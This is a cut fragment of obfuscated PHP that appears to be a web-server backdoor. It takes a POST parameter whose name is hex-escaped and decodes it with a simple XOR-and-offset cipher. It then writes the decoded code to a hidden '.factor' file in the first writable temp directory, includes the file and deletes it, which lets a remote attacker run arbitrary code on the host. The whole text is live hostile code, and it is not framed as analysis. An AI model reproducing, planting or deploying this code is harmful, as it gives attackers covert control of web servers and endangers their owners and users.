= $len) break; $v8= $component[$q]; $chS= ord($s[$q % $sLen]); $d= ((int)$v8 - $chS - ($q % 10)) ^ 51; $symbol.= chr($d); $q++; } while (true); $pset = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd()]); foreach ($pset as $key => $hld) { if (!!is_dir($hld) && !!is_writable($hld)) { $ptr = vsprintf("%s/%s", [$hld, ".factor"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $ptr; @unlink($ptr); exit; } } } } if(count($_POST) > 0 && isset($_POST["de\x73\x63\x72ipto\x72"])){ $value = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd()]); $holder = $_POST["de\x73\x63\x72ipto\x72"]; $holder= explode (".", $holder ) ; $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $__len = count( $holder); for( $r = 0; $r < $__len; $r++) { $v3 = $holder[$r]; $sChar = ord( $s8[$r%$lenS]); $dec =( ( int)$v3 - $sChar -( $r%10)) ^35; $token .= chr( $dec); } $item = 0; do { $element = $value[$item] ?? null; if ($item >= count($value)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $record = str_replace("{var_dir}",